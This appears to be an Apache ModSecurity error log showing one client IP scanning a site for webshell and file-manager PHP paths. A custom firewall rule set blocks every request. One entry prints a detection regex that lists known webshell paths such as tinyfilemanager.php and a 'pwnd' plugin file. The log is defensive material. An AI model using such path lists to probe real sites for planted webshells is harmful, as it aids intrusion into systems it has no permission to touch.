[Sat May 16 05:03:45.217020 2026] [:error] [pid 24874:tid 24936] [client 20.195.182.164:8454] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/drykl.php"] [unique_id "ageKMciii6x3XidYGHGSFQAAAIE"]
[Sat May 16 05:03:46.909447 2026] [:error] [pid 24874:tid 24949] [client 20.195.182.164:17946] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/drykl.php"] [unique_id "ageKMsiii6x3XidYGHGSGAAAAI4"]
[Sat May 16 05:03:52.066403 2026] [:error] [pid 24979:tid 25001] [client 20.195.182.164:5550] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/drykl.php"] [unique_id "ageKOLvSFUQiwLaOL2oeFwAAANQ"]
[Sat May 16 05:03:53.561398 2026] [:error] [pid 5602:tid 5620] [client 20.195.182.164:6562] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/drykl.php"] [unique_id "ageKOdzTTsu77r3UIsmqXQAAARA"]
[Sat May 16 05:05:53.789363 2026] [:error] [pid 5602:tid 5604] [client 20.195.182.164:8824] [client 20.195.182.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "ageKsdzTTsu77r3UIsmquwAAAQA"]
[Sat May 16 05:06:41.365430 2026] [:error] [pid 24867:tid 24884] [client 20.195.182.164:20226] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "ageK4SDgFLCgyKq-zmbllgAAAAM"]
[Sat May 16 05:06:42.239836 2026] [:error] [pid 24867:tid 24904] [client 20.195.182.164:19828] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "ageK4iDgFLCgyKq-zmblmAAAABc"]
[Sat May 16 05:06:43.026406 2026] [:error] [pid 24874:tid 24939] [client 20.195.182.164:15743] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "ageK48iii6x3XidYGHGSaQAAAIQ"]
[Sat May 16 05:06:45.159246 2026] [:error] [pid 24979:tid 24985] [client 20.195.182.164:2019] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "ageK5bvSFUQiwLaOL2oeeAAAAMQ"]
[Sat May 16 05:06:45.849135 2026] [:error] [pid 24867:tid 24901] [client 20.195.182.164:11632] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "ageK5SDgFLCgyKq-zmblmgAAABQ"]
[Sat May 16 05:06:46.814637 2026] [:error] [pid 5602:tid 5606] [client 20.195.182.164:1690] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "ageK5tzTTsu77r3UIsmq3QAAAQI"]
[Sat May 16 05:06:47.521573 2026] [:error] [pid 24874:tid 24946] [client 20.195.182.164:11635] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "ageK58iii6x3XidYGHGScgAAAIs"]
[Sat May 16 05:06:48.281138 2026] [:error] [pid 5602:tid 5608] [client 20.195.182.164:5007] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxx.php"] [unique_id "ageK6NzTTsu77r3UIsmq4QAAAQQ"]
[Sat May 16 05:06:49.375839 2026] [:error] [pid 5602:tid 5623] [client 20.195.182.164:1722] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "ageK6dzTTsu77r3UIsmq4wAAARM"]
[Sat May 16 05:06:50.268130 2026] [:error] [pid 24979:tid 24982] [client 20.195.182.164:20239] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "ageK6rvSFUQiwLaOL2oehAAAAME"]
[Sat May 16 05:06:50.905443 2026] [:error] [pid 24874:tid 24950] [client 20.195.182.164:23434] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "ageK6siii6x3XidYGHGSdAAAAI8"]
[Sat May 16 05:06:51.645221 2026] [:error] [pid 24874:tid 24956] [client 20.195.182.164:8540] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "ageK68iii6x3XidYGHGSdQAAAJU"]
[Sat May 16 05:06:52.503246 2026] [:error] [pid 24979:tid 24997] [client 20.195.182.164:8386] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "ageK7LvSFUQiwLaOL2oekwAAANA"]
[Sat May 16 05:06:53.152035 2026] [:error] [pid 5602:tid 5627] [client 20.195.182.164:20277] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "ageK7dzTTsu77r3UIsmq5QAAARc"]
[Sat May 16 05:06:53.935071 2026] [:error] [pid 24979:tid 24987] [client 20.195.182.164:8399] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "ageK7bvSFUQiwLaOL2oelwAAAMY"]
[Sat May 16 05:06:54.719689 2026] [:error] [pid 24979:tid 24993] [client 20.195.182.164:8443] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "ageK7rvSFUQiwLaOL2oemwAAAMw"]
[Sat May 16 05:06:55.430192 2026] [:error] [pid 5602:tid 5611] [client 20.195.182.164:2011] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "ageK79zTTsu77r3UIsmq6AAAAQc"]
[Sat May 16 05:06:56.730412 2026] [:error] [pid 5602:tid 5624] [client 20.195.182.164:20281] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "ageK8NzTTsu77r3UIsmq7AAAARQ"]
[Sat May 16 05:06:57.482952 2026] [:error] [pid 5602:tid 5628] [client 20.195.182.164:14605] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "ageK8dzTTsu77r3UIsmq7wAAARg"]
[Sat May 16 05:06:58.359230 2026] [:error] [pid 5602:tid 5625] [client 20.195.182.164:14642] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "ageK8tzTTsu77r3UIsmq8wAAARU"]
[Sat May 16 05:06:59.540554 2026] [:error] [pid 24869:tid 24913] [client 20.195.182.164:11645] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/one.php"] [unique_id "ageK8-xo3FMprMltYl74jgAAAEU"]
[Sat May 16 05:07:00.867572 2026] [:error] [pid 5602:tid 5605] [client 20.195.182.164:9481] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/one.php"] [unique_id "ageK9NzTTsu77r3UIsmq_QAAAQE"]
[Sat May 16 05:07:01.961536 2026] [:error] [pid 5602:tid 5620] [client 20.195.182.164:17267] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/one.php"] [unique_id "ageK9dzTTsu77r3UIsmrBQAAARA"]
[Sat May 16 05:07:04.372800 2026] [:error] [pid 5602:tid 5627] [client 20.195.182.164:1877] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/one.php"] [unique_id "ageK-NzTTsu77r3UIsmrEAAAARc"]
[Sat May 16 05:07:05.099579 2026] [:error] [pid 24869:tid 24924] [client 20.195.182.164:17257] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error_log.php"] [unique_id "ageK-exo3FMprMltYl74jwAAAFA"]
[Sat May 16 05:07:06.126798 2026] [:error] [pid 5602:tid 5624] [client 20.195.182.164:1521] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error_log.php"] [unique_id "ageK-tzTTsu77r3UIsmrEwAAARQ"]
[Sat May 16 05:07:06.873906 2026] [:error] [pid 5602:tid 5611] [client 20.195.182.164:19830] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error_log.php"] [unique_id "ageK-tzTTsu77r3UIsmrFgAAAQc"]
[Sat May 16 05:07:08.372196 2026] [:error] [pid 5602:tid 5622] [client 20.195.182.164:9501] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error_log.php"] [unique_id "ageK_NzTTsu77r3UIsmrGQAAARI"]
[Sat May 16 05:07:09.352441 2026] [:error] [pid 5602:tid 5616] [client 20.195.182.164:9484] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "ageK_dzTTsu77r3UIsmrHAAAAQw"]
[Sat May 16 05:07:11.416150 2026] [:error] [pid 24874:tid 24936] [client 20.195.182.164:22573] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "ageK_8iii6x3XidYGHGSgwAAAIE"]
[Sat May 16 05:07:12.916166 2026] [:error] [pid 24867:tid 24892] [client 20.195.182.164:18498] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "ageLACDgFLCgyKq-zmblpwAAAAs"]
[Sat May 16 05:07:14.326020 2026] [:error] [pid 24874:tid 24943] [client 20.195.182.164:10339] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a7.php"] [unique_id "ageLAsiii6x3XidYGHGSiQAAAIg"]
[Sat May 16 05:07:15.321828 2026] [:error] [pid 24869:tid 24909] [client 20.195.182.164:16700] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/roksad1.php"] [unique_id "ageLA-xo3FMprMltYl74mAAAAEE"]
[Sat May 16 05:07:16.204198 2026] [:error] [pid 24867:tid 24893] [client 20.195.182.164:24878] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/roksad1.php"] [unique_id "ageLBCDgFLCgyKq-zmblqwAAAAw"]
[Sat May 16 05:07:17.267499 2026] [:error] [pid 24869:tid 24926] [client 20.195.182.164:1160] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/roksad1.php"] [unique_id "ageLBexo3FMprMltYl74mwAAAFI"]
[Sat May 16 05:07:18.235176 2026] [:error] [pid 24867:tid 24889] [client 20.195.182.164:18500] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/roksad1.php"] [unique_id "ageLBiDgFLCgyKq-zmblrwAAAAg"]
[Sat May 16 05:07:19.232991 2026] [:error] [pid 24874:tid 24938] [client 20.195.182.164:18515] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axe.php"] [unique_id "ageLB8iii6x3XidYGHGSjQAAAIM"]
[Sat May 16 05:07:20.128054 2026] [:error] [pid 24874:tid 24958] [client 20.195.182.164:18018] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axe.php"] [unique_id "ageLCMiii6x3XidYGHGSjwAAAJc"]
[Sat May 16 05:07:21.041633 2026] [:error] [pid 24874:tid 24937] [client 20.195.182.164:7030] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axe.php"] [unique_id "ageLCciii6x3XidYGHGSkgAAAII"]
[Sat May 16 05:07:21.832999 2026] [:error] [pid 24867:tid 24882] [client 20.195.182.164:19569] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axe.php"] [unique_id "ageLCSDgFLCgyKq-zmblswAAAAE"]
[Sat May 16 05:07:22.501438 2026] [:error] [pid 24867:tid 24901] [client 20.195.182.164:22785] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/de.php"] [unique_id "ageLCiDgFLCgyKq-zmbltgAAABQ"]
[Sat May 16 05:07:23.307335 2026] [:error] [pid 24867:tid 24887] [client 20.195.182.164:25861] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/de.php"] [unique_id "ageLCyDgFLCgyKq-zmbluAAAAAY"]
[Sat May 16 05:07:23.945546 2026] [:error] [pid 5602:tid 5623] [client 20.195.182.164:6298] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/de.php"] [unique_id "ageLC9zTTsu77r3UIsmrIwAAARM"]
[Sat May 16 05:07:24.740570 2026] [:error] [pid 24869:tid 24911] [client 20.195.182.164:20591] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/de.php"] [unique_id "ageLDOxo3FMprMltYl74nwAAAEM"]
[Sat May 16 05:07:25.595936 2026] [:error] [pid 24874:tid 24944] [client 20.195.182.164:13131] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "ageLDciii6x3XidYGHGSngAAAIk"]
[Sat May 16 05:07:26.369382 2026] [:error] [pid 24979:tid 24995] [client 20.195.182.164:16654] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "ageLDrvSFUQiwLaOL2oeogAAAM4"]
[Sat May 16 05:07:27.157933 2026] [:error] [pid 24867:tid 24894] [client 20.195.182.164:7438] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "ageLDyDgFLCgyKq-zmblvAAAAA0"]
[Sat May 16 05:07:28.290974 2026] [:error] [pid 24867:tid 24898] [client 20.195.182.164:3382] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "ageLECDgFLCgyKq-zmblvQAAABE"]
[Sat May 16 05:07:29.061996 2026] [:error] [pid 5602:tid 5614] [client 20.195.182.164:11542] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "ageLEdzTTsu77r3UIsmrJAAAAQo"]
[Sat May 16 05:07:30.088499 2026] [:error] [pid 24979:tid 24984] [client 20.195.182.164:19560] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "ageLErvSFUQiwLaOL2oepgAAAMM"]
[Sat May 16 05:07:30.802178 2026] [:error] [pid 24869:tid 24923] [client 20.195.182.164:3337] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "ageLEuxo3FMprMltYl74owAAAE8"]
[Sat May 16 05:07:31.510930 2026] [:error] [pid 24874:tid 24948] [client 20.195.182.164:12388] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "ageLE8iii6x3XidYGHGSpgAAAI0"]
